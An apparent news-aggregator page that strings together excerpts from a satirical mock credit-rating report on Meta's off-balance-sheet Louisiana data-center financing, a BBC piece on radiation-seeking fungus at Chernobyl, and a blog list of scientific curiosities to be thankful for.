80 per­cent by Beignet and 20 per­cent by Iris Crossing LLC, an in­di­rect Meta sub­sidiary. JVCo, in turn, owns Laidley LLC (Landlord). None of this is un­usual ex­cept for the part where Meta de­signs, builds, guar­an­tees, op­er­ates, funds the over­runs, pays the rent, and does not con­sol­i­date it.This pro­ject has nine data cen­ters and two sup­port build­ings, with about four mil­lion sq. ft. and 2.064 GW ca­pac­ity. The sup­port build­ings will store the reams of doc­u­men­ta­tion needed to con­vince every­one this struc­ture is­n’t what it looks like. The to­tal cap­i­tal plan of $28.79 bil­lion will be funded as fol­lows:And, in a feat of fi­nan­cial hy­dra­tion, $1.16 bil­lion of in­ter­est gen­er­ated by the same bor­rowed money while it sits in lad­dered Treasuries.The struc­ture al­lows the Issuer to bor­row money, earn in­ter­est on the bor­rowed money, and then use that in­ter­est to sat­isfy the eq­uity re­quire­ment that would nor­mally re­quire… money.Noth­ing is cre­ated. Nothing is con­tributed. It’s a loop. Borrow money, earn in­ter­est, and use the in­ter­est to claim you pro­vided eq­uity. The kind of cir­cle only fi­nance can call a straight line.To­gether, these flows cover Beignet’s $23.03 bil­lion oblig­a­tion to JVCo, plus the usual con­stel­la­tion of cap­i­tal­ized in­ter­est, re­serve ac­counts, and trans­ac­tion ex­penses. In any other con­text this would raise ques­tions. For us, it raises the credit rat­ing.Meta, through Pelican Leap LLC (Tenant), has en­tered into eleven triple-net leases—one for each build­ing—with an ini­tial four-year term start­ing in 2029 and four re­newal op­tions that could ex­tend the arrange­ment to twenty years. The leases rely on the as­sump­tion that Meta will con­tinue to need ex­po­nen­tially more com­pute power and that AI de­mand will not col­lapse, re­verse, plateau, or be­come struc­turally in­con­ve­nient.The notes is­sued by Beignet are se­cured by Beignet’s eq­uity in­ter­est in JVCo and rel­e­vant trans­ac­tion ac­counts. They are not se­cured by the un­der­ly­ing phys­i­cal as­sets, which re­main at the JVCo and Landlord level. This is de­scribed as stan­dard prac­tice, which is true in the same way that us­ing eleven en­ti­ties to rent build­ings to your­self has be­come stan­dard prac­tice.The re­sult­ing struc­ture al­lows Meta to sup­port the pro­ject eco­nom­i­cally while leav­ing the as­so­ci­ated debt some­where that is tech­ni­cally not on Meta’s bal­ance sheet. The dis­tinc­tion is thin, but ap­par­ently wide enough to mat­ter.The pre­lim­i­nary A+ rat­ing re­flects our view that this is func­tion­ally Meta bor­row­ing $27.30 bil­lion for a cam­pus no one else will touch, pack­aged in le­gal for­mal­ity pre­cise enough to sat­isfy the let­ter of con­sol­i­da­tion rules and ab­surd enough to in­sult the spirit.Credit risk aligns al­most one-for-one with Meta’s own pro­file be­cause:Meta is ob­lig­ated to fund con­struc­tion cost over­runs be­yond 105 per­cent of the fixed bud­get, ex­clud­ing force ma­jeure events, which rat­ing agen­cies his­tor­i­cally treat as the­o­ret­i­cal in­con­ve­niences rather than re­cur­ring fea­tures of the phys­i­cal world.Meta guar­an­tees all lease pay­ments and op­er­at­ing oblig­a­tions, both dur­ing the ini­tial four-year term and across any re­newal pe­ri­ods it al­ready in­tends to ex­er­cise, an arrange­ment whose pur­pose be­comes clearer when one re­mem­bers why the cam­pus is be­ing built at all.Meta pro­vides an RVG (residual value guar­an­tee) struc­tured to be suf­fi­cient, in most mod­eled cases, to en­sure bond­hold­ers are re­paid even if Meta recom­mits to the Metaverse or any fu­ture ini­tia­tive born from its on­go­ing fas­ci­na­tion with ex­pen­sive de­tours. We did not model what would hap­pen if data cen­ter de­mand col­lapses and Meta can­not se­cure a new ten­ant. This sce­nario was ex­cluded for method­olog­i­cal con­ve­nience.The min­i­mum rent sched­ule has been cal­i­brated to pro­duce a debt ser­vice cov­er­age ra­tio of ap­prox­i­mately 1.12 through 2049. We con­sider this a suf­fi­cient level of sta­bil­ity usu­ally found only in spread­sheets that freeze when real-world data is used.Taken to­gether, these fea­tures tie Beignet’s credit qual­ity to Meta so tightly that you’d have to not be pay­ing at­ten­tion to miss them. The struc­ture main­tains a pre­car­i­ous tech­ni­cal sep­a­ra­tion that, un­der cur­rent in­ter­pre­ta­tions of ac­count­ing guid­ance, al­lows Meta to keep roughly $27 bil­lion of as­sets and debt off its own bal­ance sheet while con­tin­u­ing to pro­vide every mean­ing­ful form of eco­nomic sup­port.This treat­ment is con­sid­ered ac­cept­able be­cause the peo­ple who de­cide what is ac­cept­able have ac­cepted it.JVCo qual­i­fies as a vari­able in­ter­est en­tity be­cause the eq­uity at risk is cer­e­mo­nial and the real eco­nomic ex­po­sure sits en­tirely with the party in­sist­ing it does not con­trol the ven­ture. This re­mains le­gal due to the en­dur­ing be­lief that bal­ance sheets are health­ier when the risky parts are hid­den.Un­der U.S. GAAP, con­sol­i­da­tion is re­quired if Meta is the pri­mary ben­e­fi­ciary, de­fined as the party that both:Di­rects the ac­tiv­i­ties that most sig­nif­i­cantly af­fect the en­ti­ty’s per­for­mance, and­Meta as­serts it is not the pri­mary ben­e­fi­ciary.To eval­u­ate that as­ser­tion, we note the fol­low­ing un­con­tested facts:Meta is re­spon­si­ble for de­sign­ing, over­see­ing, and op­er­at­ing a 2.064 GW AI cam­pus, an ac­tiv­ity that re­quires tech­ni­cal ca­pa­bil­i­ties Blue Owl does not pos­sess.Meta bears con­struc­tion cost over­runs be­yond 105 per­cent of the fixed bud­get, as well as spec­i­fied ca­su­alty re­pair oblig­a­tions of up to $3.125 bil­lion per event dur­ing con­struc­tion.Meta pro­vides the guar­an­tee for all rent and op­er­at­ing pay­ments un­der the leases, across the ini­tial term and any re­newals.Meta pro­vides the resid­ual value guar­an­tee, en­sur­ing bond­hold­ers are re­paid if leases are not re­newed or are ter­mi­nated, ei­ther through a sale or by pay­ing the guar­an­teed min­i­mum val­ues di­rectly.Meta con­tributes fund­ing, di­rects op­er­a­tions, bears con­struc­tion risk, guar­an­tees pay­ments, guar­an­tees as­set val­ues, de­ter­mines uti­liza­tion, con­trols re­newal be­hav­ior, and can trig­ger the sale of the fa­cil­ity.Based on this, or de­spite this, Meta con­cludes it does not con­trol JVCo.Our in­ter­pre­ta­tion is fully com­pli­ant with U.S. GAAP, which pri­or­i­tizes the geom­e­try of the le­gal struc­ture over the in­con­ve­nience of eco­nomic sub­stance and rec­og­nizes con­trol only if the con­trol­ling party agrees to be rec­og­nized as con­trol­ling.Meta has not agreed, and the frame­work, in­clud­ing this agency, re­spects that choice.For rat­ing pur­poses, we there­fore ac­cept Meta’s non-con­sol­i­da­tion as an ac­count­ing out­come while treat­ing Meta, in all prac­ti­cal re­spects, as fully re­spon­si­ble for the per­for­mance of an en­tity it does not of­fi­cially con­trol.The lease struc­ture is de­signed to look like a nor­mal com­mer­cial arrange­ment while func­tion­ing as a long-term com­mit­ment Meta in­sists, for ac­count­ing rea­sons, it can­not pos­si­bly pre­dict.Ten­ant will pay fixed rent for the first 19 months of op­er­a­tions, based on a 50 per­cent as­sumed uti­liza­tion rate, af­ter which rent scales with ac­tual power con­sump­tion. The leases are triple-net. Meta is re­spon­si­ble for every­thing: op­er­at­ing costs, main­te­nance, taxes, in­sur­ance, util­i­ties. If a pipe breaks, Meta fixes the pipe. If a hur­ri­cane re­lo­cates a roof, Meta pays to sta­ple the roof back on.In prac­ti­cal terms, the only sce­nario in which Beignet bears op­er­at­ing ex­po­sure is a sce­nario in which Meta stops pay­ing its own bills, at which point the lease struc­ture be­comes ir­rel­e­vant be­cause the same lawyers that struc­tured this deal will have al­ready qui­etly ex­tri­cated Meta from li­a­bil­ity.A min­i­mum rent floor en­gi­neered to pro­duce a DSCR of 1.12 in a spread­sheet where 1.12 was likely hard-coded and in­de­pen­dent of math.A four-year ini­tial term with four four-year re­newal op­tions, the­o­ret­i­cally cre­at­ing a 20-year run­way Meta pre­tends not to see.Meta guar­an­tees all ten­ant pay­ment oblig­a­tions across the en­tire po­ten­tial lease life, in­clud­ing re­newals it strate­gi­cally re­fuses to ac­knowl­edge as in­evitable.No per­for­mance-based KPIs. Under this struc­ture, the build­ings could un­der­per­form, over­per­form, or catch fire. Meta still pays rent.The RVG re­quires Meta to en­sure that, at every po­ten­tial lease-ter­mi­na­tion date, the as­set is worth at least the guar­an­teed min­i­mum value. If mar­kets dis­agree, Meta pays the dif­fer­ence. Because Meta is rated AA-/Stable, we are in­structed to as­sume that it will do so with­out hes­i­ta­tion, in­clud­ing in sce­nar­ios where de­mand soft­ens or sec­ondary mar­kets dis­cover that a hy­per­scale cam­pus in Richland Parish is not the world’s most liq­uid as­set class.The in­ter­play be­tween the lease term and the RVG cre­ates a cir­cu­lar logic we find struc­turally ex­quis­ite.From a credit per­spec­tive, this cir­cu­lar­ity is con­sid­ered sup­port­ive, be­cause the same logic used to avoid con­sol­i­dat­ing the debt also en­sures bond­hold­ers are paid. The cir­cu­lar­ity is not treated as a fea­ture or a flaw. It is treated as ac­count­ing.Be­cause Meta is AA-/Stable, we as­sume it will pay what­ever num­ber the Excel model finds through Goal Seek, even in sce­nar­ios in­volv­ing tech­no­log­i­cal ob­so­les­cence or an in­va­sion of rac­coons.The ac­count­ing hinges on a para­dox en­gi­neered with dull tweez­ers:Un­der lease ac­count­ing, Meta must record fu­ture lease oblig­a­tions only if re­newals are rea­son­ably cer­tain.Un­der RVG ac­count­ing, Meta must record a guar­an­tee li­a­bil­ity only if pay­ment is prob­a­ble.To keep $27 bil­lion off its bal­ance sheet, Meta must there­fore as­sert:Re­newals are not rea­son­ably cer­tain, de­spite de­sign­ing, fund­ing, build­ing, and ex­clu­sively us­ing a 2.064 GW AI cam­pus for which the re­al­is­tic ten­ant list be­gins and ends with Meta.The RVG will prob­a­bly never be trig­gered, de­spite the fact that not re­new­ing would trig­ger it im­me­di­ately.This re­quires a nar­row cor­ri­dor of as­sump­tions in which Meta si­mul­ta­ne­ously plans to use the fa­cil­ity for two decades and in­sists that no one can pre­dict four years of cor­po­rate in­ten­tion.From a credit stand­point, we are sup­port­ive. The as­sump­tions that ren­der the debt in­vis­i­ble are pre­cisely what make it se­cure. A har­mony best de­scribed as col­lat­er­al­ized cog­ni­tive dis­so­nance.Meta link­age. The eco­nom­ics are wed­ded to Meta’s credit pro­file, which we are re­quired to de­scribe as AA-/Stable rather than the only rea­son this en­tire struc­ture does­n’t fold from a stiff breeze.” Meta guar­an­tees the rent, the RVG, and the con­tin­ued rel­e­vance of the fa­cil­ity. The rest is dé­cor au­di­tors would deem tasteful.”Minimum rent floor. The lease sched­ule pro­duces a per­fectly flat DSCR of 1.12 through 2049. Projects of this size do not pro­duce flat any­thing, but the model in­sists oth­er­wise, so we pre­tend we be­lieve it. Being stick­lers for tra­di­tion, and hav­ing learned noth­ing from the fi­nan­cial cri­sis of 2008, we treat the spread­sheet as the fi­nal ar­biter of truth, even when the in­puts de­scribe a world no one lives in.Con­struc­tion risk trans­fer. Meta ab­sorbs cost over­runs be­yond 105 per­cent of bud­get and han­dles ca­su­alty re­pairs dur­ing con­struc­tion. Our method­ol­ogy in­ter­prets contractually trans­ferred” as ceased to ex­ist,” so we de­cline to model the risk of over­runs on a $28 bil­lion cam­pus built in a hur­ri­cane cor­ri­dor. This is con­sid­ered best prac­tice.RVG back­stop. The resid­ual value guar­an­tee elim­i­nates tail risk in much the same way a par­ent cosign­ing for their teenager’s car loan elim­i­nates tail risk: by en­sur­ing that the per­son with all the money pays for every­thing. If the mar­ket value col­lapses, Meta pays the dif­fer­ence. If the fa­cil­ity can’t be sold, Meta pays the whole thing. If the en­tire cam­pus be­comes a rac­coon sanc­tu­ary, Meta still pays. We clas­sify this as credit pro­tec­tion, a nu­anced des­ig­na­tion that al­lows us to rec­og­nize the se­cu­rity of the arrange­ment with­out rec­og­niz­ing the debt.Ab­sence of per­for­mance KPIs. There are no op­er­a­tional KPIs that al­low rent abate­ment. This is help­ful be­cause KPIs cre­ate volatil­ity, and volatil­ity re­quires thought, a vari­able we ex­plic­itly ex­clude from our method­ol­ogy. By re­mov­ing KPIs en­tirely, the struc­ture en­sures a level of cash-flow sta­bil­ity that ex­ists only in trans­ac­tions where the ten­ant is also the eco­nomic owner pre­tend­ing to be a squat­ter.Key Risks We Have Chosen To Be Comfortable WithThe rat­ing also re­flects sev­eral risks that are ac­knowl­edged, in­tel­lec­tu­ally trou­bling, and ul­ti­mately tol­er­ated be­cause Meta is large enough that every­one agrees to stop ask­ing ques­tions.Off-bal­ance-sheet de­pen­dence. Meta treats JVCo as if it be­longs to some­one else, which is a gen­er­ous in­ter­pre­ta­tion of own­er­ship. If con­sol­i­da­tion rules ever evolve to re­flect eco­nomic sub­stance, Meta could be re­quired to add $27 bil­lion of as­sets and match­ing debt back onto its own bal­ance sheet. Our method­ol­ogy treats this as a the­o­ret­i­cal in­con­ve­nience rather than a credit event, be­cause call­ing it what it re­ally is would cre­ate a con­flict with the very com­pa­nies we rate.Con­cen­tra­tion risk. The en­tire pro­ject ex­ists for one ten­ant with one busi­ness model in one in­dus­try un­der­go­ing tech­no­log­i­cal whiplash. The fa­cil­ity is en­gi­neered so specif­i­cally for Meta’s AI am­bi­tions that the only plau­si­ble al­ter­na­tive ten­ant is an­other ver­sion of Meta from a par­al­lel time­line. We strongly dis­agree with the many-worlds in­ter­pre­ta­tion of quan­tum me­chan­ics. We set this con­cern aside be­cause at this stage in the trans­ac­tion, the A+ rat­ing is a struc­tural load-bear­ing wall, and we are not paid to do de­mo­li­tion.Resid­ual value un­cer­tainty. The RVG de­pends on mod­eled guar­an­teed min­i­mum val­ues that as­sume buy­ers will one day de­sire a vast hy­per­scale com­plex in Richland Parish un­der stress sce­nar­ios. If hy­per­scale sup­ply bal­loons or the re­sale mar­ket for 2-gigawatt data cen­ters be­comes as illiq­uid as com­mon sense, Meta will owe more money. This in­creases Meta’s di­rect oblig­a­tions, which should con­cern us, but does not, be­cause Meta is rated AA-/Stable and there­fore pre­sumed to with­stand any sce­nario we have cho­sen not to model.Ca­su­alty and force ma­jeure. In ex­treme sce­nar­ios, mul­ti­ple build­ings could be de­stroyed by a hur­ri­cane, which we view as un­likely given that they al­most never im­pact Louisiana. The logic re­sem­bles a Rube Goldberg ma­chine built out of in­dem­ni­ties. We clas­sify this as a strength.JV struc­tural sub­or­di­na­tion. Cash flows must nav­i­gate wa­ter­falls, covenants, carve-outs, and the pos­si­bil­ity of up to $75 mil­lion of JV-level debt. These fea­tures in­tro­duce struc­tural com­plex­ity, which we flag, then promptly ig­nore, be­cause ac­knowl­edg­ing would force us to ex­plain who ben­e­fits from the con­vo­lu­tion.De­spite these risks, we main­tain an A+ rat­ing be­cause Meta’s credit qual­ity is strong, the struc­ture is de­signed to hide risk rather than trans­fer it, and our role in this ecosys­tem is to ob­serve these con­tra­dic­tions and pro­ceed as though they were fea­tures rather than warn­ings.The out­look is Superficially Stable. That means we ex­pect the struc­ture to hold to­gether as long as Meta keeps pay­ing for every­thing and the ac­count­ing rules re­main gen­er­ously un­in­ter­ested in eco­nomic re­al­ity.We as­sume, with the con­fi­dence of peo­ple who have clearly not been pun­ished enough:Meta will pre­serve an AA-/Stable pro­file be­cause any other out­come would force every­one in­volved to ad­mit what this ac­tu­ally is.Con­struc­tion will stay broadly on sched­ule,” a phrase we use to pre-for­give what­ever hap­pens as long as Meta cov­ers the over­runs, which it must.Lease pay­ments and the min­i­mum rent sched­ule will con­tinue pro­duc­ing a DSCR that hov­ers around 1.12 in mod­els de­signed to en­sure that re­sult, and not ma­te­ri­ally be­low 1.10 un­less some­thing un-mod­eled hap­pens, which we clas­sify as outside scope.”The RVG will re­main en­force­able, which mat­ters more than the re­sale value of a hy­per­scale fa­cil­ity in a world where hy­per­scale fa­cil­i­ties may or may not be worth any­thing.Changes in VIE or lease-ac­count­ing guid­ance will af­fect where Meta stores the debt, not whether Meta pays it.We could lower the rat­ing if Meta were down­graded, if DSCR sagged be­low the range we pre­tend is ac­cept­able, if Meta weak­ened its guar­an­tees, or if events un­fold in ways our as­sump­tions did not ac­count for, as events tend to do. The last cat­e­gory in­cludes any­thing that would force us to re­visit the as­sump­tions we con­fi­dently made with­out test­ing.We view an up­grade as un­likely. The struc­ture al­ready per­forms the sin­gle mir­a­cle it was de­signed for: keep­ing $27.3 bil­lion off Meta’s bal­ance sheet in a man­ner we are pro­fes­sion­ally ob­lig­ated to sup­port.CON­FI­DEN­TIAL­ITY AND USE: This re­port is in­tended solely for in­sti­tu­tional in­vestors, en­ti­ties re­quired by com­pli­ance to re­view doc­u­ments they will not read, and any reg­u­la­tory body still pre­tend­ing to mon­i­tor off-bal­ance-sheet arrange­ments. FSG LLC makes no rep­re­sen­ta­tion, war­ranty, or faint ges­ture to­ward co­her­ence re­gard­ing the ac­cu­racy, com­plete­ness, or le­git­i­macy of any­thing con­tained herein. By read­ing this doc­u­ment, you ir­rev­o­ca­bly ac­knowl­edge that we did not per­form due dili­gence in any con­ven­tional, philo­soph­i­cal, or legally en­force­able sense. Our re­view con­sisted of reread­ing Meta’s press re­lease un­til rep­e­ti­tion pro­duced ac­cep­tance, aided by a Magic 8-Ball we shook un­til it agreed.LIM­I­TA­TION OF RELIANCE: Any re­sem­blance to ob­jec­tive analy­sis is co­in­ci­den­tal and should not be re­lied upon by any­one with fidu­ciary oblig­a­tions, eth­i­cal stan­dards, a work­ing mem­ory, or the abil­ity to per­form ba­sic sub­trac­tion. Forward-looking state­ments are based on as­sump­tions that will not sur­vive con­tact with re­al­ity, stress test­ing, most Tuesdays, or a mod­est change in in­ter­est rates. FSG LLC is not li­able for losses aris­ing from re­liance on this re­port, mis­un­der­stand­ing this re­port, fully un­der­stand­ing this re­port, or the sink­ing recog­ni­tion that you should have known bet­ter. Past per­for­mance is not in­dica­tive of fu­ture re­sults, ex­cept in the spe­cific case of rat­ing agen­cies re­peat­ing the same mis­takes at larger scales with in­creas­ing con­fi­dence.RAT­ING METHODOLOGY: The rat­ing as­signed herein may be re­vised, with­drawn, or de­nied ever ex­ist­ing if Meta con­sol­i­dates the debt, Louisiana ceases to ex­ist for tax pur­poses, or the data cen­ter be­comes self-aware and moves to Montana to es­cape the heat. FSG LLC cal­cu­lated the A+ rat­ing us­ing a pro­pri­etary model con­sist­ing of dis­counted cash flows, in­ter­pre­tive dance, and what­ever num­ber Meta’s CFO sounded com­fort­able with on a dili­gence call we did not in fact at­tend. Readers who dis­cover ma­te­r­ial er­rors in this re­port are con­trac­tu­ally ob­lig­ated to keep them to them­selves and ac­cept that be­ing tech­ni­cally cor­rect is the least valu­able form of cor­rect.GEN­ERAL PROVISIONS: By con­tin­u­ing to read, you con­sent to the propo­si­tion that what Meta does not con­sol­i­date does not ex­ist, waive your right to say I told you so” when this un­rav­els, and ac­cept that the term investment grade” is now a dis­po­si­tion rather than a met­ric. FSG LLC re­serves the right to amend, re­tract, deny, or dis­own this re­port at any time, par­tic­u­larly if Congress shows in­ter­est or some­one notes that $27 bil­lion off-bal­ance-sheet is on a bal­ance sheet some­where. If you print this doc­u­ment, you may be re­quired un­der ap­plic­a­ble se­cu­ri­ties law to re­cy­cle it, shred it, or burn it be­fore sun­rise, whichever comes first. For ques­tions, com­plaints, or sneak­ing sus­pi­cions, please do not con­tact us. We are un­avail­able in­def­i­nitely and have dis­abled our voice­mail.

...

Read the original on stohl.substack.com »

9 229 shares, 23 trendiness

The mysterious black fungus from Chernobyl that may eat radiation

The mould — formed from a num­ber of dif­fer­ent fungi — seemed to be do­ing some­thing re­mark­able. It had­n’t just moved in be­cause work­ers at the plant had left. Instead, Zhdanova had found in pre­vi­ous sur­veys of soil around Chernobyl that the fungi were ac­tu­ally grow­ing to­wards the ra­dioac­tive par­ti­cles that lit­tered the area. Now, she found that they had reached into the orig­i­nal source of the ra­di­a­tion, the rooms within the ex­ploded re­ac­tor build­ing.

With each sur­vey tak­ing her close to harm­ful ra­di­a­tion, Zhdanova’s work has also over­turned our ideas about how ra­di­a­tion im­pacts life on Earth. Now her dis­cov­ery of­fers hope of clean­ing up ra­dioac­tive sites and even pro­vide ways of pro­tect­ing as­tro­nauts from harm­ful ra­di­a­tion as they travel into space.

Eleven years be­fore Zhdanova’s visit, a rou­tine safety test of re­ac­tor four at the Chernobyl Nuclear Power Plant had quickly turned into the world’s worst nu­clear ac­ci­dent. A se­ries of er­rors both in the de­sign of the re­ac­tor and its op­er­a­tion led to a huge ex­plo­sion in the early hours of 26 April 1986. The re­sult was a sin­gle, mas­sive re­lease of ra­dionu­clides. Radioactive io­dine was a lead­ing cause of death in the first days and weeks, and, later, of can­cer.

In an at­tempt to re­duce the risk of ra­di­a­tion poi­son­ing and long-term health com­pli­ca­tions, a 30km (19 mile) ex­clu­sion zone — also known as the zone of alien­ation” — was es­tab­lished to keep peo­ple at a dis­tance from the worst of the ra­dioac­tive re­mains of re­ac­tor four.

But while hu­mans were kept away, Zhdanova’s black mould had slowly colonised the area.

...

Read the original on www.bbc.com »

10 218 shares, 9 trendiness

Underrated reasons to be thankful V

That if you’re a life form and you cook up a baby and copy your genes to them, you’ll find that the genes have been de­graded due to ox­ida­tive stress et al., which is­n’t cause for cel­e­bra­tion, but if you find some other hope­fully-hot per­son and ran­domly swap in half of their genes, your baby will still be some­what less fit com­pared to you and your hope­fully-hot friend on av­er­age, but now there is vari­ance, so if you cook up sev­eral ba­bies, one of them might be as fit or even fit­ter than you, and that one will likely have more ba­bies than your other ba­bies have, and thus com­plex life can per­sist in a uni­verse with in­creas­ing en­tropy.

That if we wanted to, we surely could fig­ure out which of the 300-ish strains of rhi­novirus are cir­cu­lat­ing in a given area at a given time and rapidly vac­ci­nate peo­ple to stop it and thereby fi­nally cure” the com­mon cold, and though this is too an­noy­ing to pur­sue right now, it seems like it’s just a mat­ter of time.

That if you look back at his­tory, you see that plagues went from Europe to the Americas but not the other way, which sug­gests that ur­ban­iza­tion and travel are great al­lies for in­fec­tious dis­ease, and these both con­tinue to­day but are held in check by san­i­ta­tion and vac­cines even while we have lots of tricks like UVC light and high-fre­quency sound and air fil­tra­tion and waste mon­i­tor­ing and pay­ing peo­ple to stay home that we’ve barely even put in play.

That while en­gi­neered in­fec­tious dis­eases loom ever-larger as a po­ten­tial very big prob­lem, we also have lots of cra­zier tricks we could pull out like panop­ti­con vi­ral screen­ing or toi­let mon­i­tors or daily in­di­vid­u­al­ized saliva sam­pling or en­gi­neered mi­crobe-re­sis­tant sur­faces or even di­vid­ing so­ci­ety into cells with ro­tat­ing in­ter­locks or hav­ing peo­ple walk around in lit­tle per­sonal space­suits, and while ad­mit­tedly most of this does­n’t sound awe­some, I see no rea­son this should­n’t be a bat­tle that we would win.

That ra­dioac­tive atoms ei­ther re­lease a ton of en­ergy but also quickly stop ex­ist­ing—a gram of Rubidium-90 scat­tered around your kitchen emits as much en­ergy as ~200,000 in­can­des­cent light­bulbs but af­ter an hour only 0.000000113g is left—or don’t put out very much en­ergy but keep ex­ist­ing for a long time—a gram of Carbon-14 only puts out the equiv­a­lent of 0.0000212 light bulbs but if you start with a gram, you’ll still have 0.999879g af­ter a year—so it is­n’t ac­tu­ally that easy to per­ma­nently poi­son the en­vi­ron­ment with ra­di­a­tion al­though Cobalt-60 with its medium en­ergy out­put and medium half-life is un­for­tu­nate, med­ical ap­pli­ca­tions notwith­stand­ing I still wish Cobalt-60 did­n’t ex­ist, screw you Cobalt-60.

That while cur­ing all can­cer would only in­crease life ex­pectancy by ~3 years and cur­ing all heart dis­ease would only in­crease life ex­pectancy by ~3 years, and pre­vent­ing all ac­ci­dents would only in­crease life ex­pectancy by ~1.5 years, if we did all of these at the same time and then a lot of other stuff too, even­tu­ally the ef­fects would go non­lin­ear, so try­ing to cure can­cer is­n’t ac­tu­ally a waste of time, thank­fully.

That sleep, that prob­a­bly evo­lu­tion first made a low-en­ergy mode so we don’t starve so fast and then lay­ered on some main­te­nance processes, but the ef­fect is that we live in a cy­cle and when things aren’t go­ing your way it’s com­fort­ing that re­al­ity does­n’t stretch out be­fore you in­def­i­nitely but in­stead you can look for­ward to a re­set and a pause that’s some­how nei­ther ex­pe­ri­enced nor skipped.

That every ex­pres­sion graph built from dif­fer­en­tiable el­e­men­tary func­tions and pro­duc­ing a scalar out­put has a gra­di­ent that can it­self be writ­ten as an ex­pres­sion graph, and fur­ther­more that the lat­ter ex­pres­sion graph is al­ways the same size as the first one and is easy to find, and thus that it’s pos­si­ble to fit very large ex­pres­sion graphs to data.

That if you look at some­thing and move your head around, you ob­serve the en­tire light field, which is a five-di­men­sional func­tion of three spa­tial co­or­di­nates and two an­gles, and yet if you do some­thing fancy with lasers, some­how that en­tire light field can be stored on a sin­gle piece of nor­mal two-di­men­sional film and then re­played later.

That, as far as I can tell, the rea­son five-di­men­sional light fields can be stored on two-di­men­sional film sim­ply can­not be ex­plained with­out quite a lot of wave me­chan­ics, a vivid ex­am­ple of the strange­ness of this place and proof that all those physi­cists with their dif­frac­tions and phase con­ju­ga­tions re­ally are up to some­thing.

That if you were in two di­men­sions and you tried to eat some­thing then maybe your body would split into two pieces since the whole path from mouth to anus would have to be dis­con­nected, so be thank­ful you’re in three di­men­sions, al­though maybe you could have some kind of jig­saw-shaped di­ges­tive tract so your two pieces would only jig­gle around or maybe you could use the same ori­fice for both pur­poses, re­mem­ber that if you ever find your­self in two di­men­sions, I guess.

...

Read the original on dynomight.net »

To add this web app to your iOS home screen tap the share button and select "Add to the Home Screen".

10HN is also available as an iOS App

If you visit 10HN only rarely, check out the the best articles from the past week.

If you like 10HN please leave feedback and share

Visit pancik.com for more.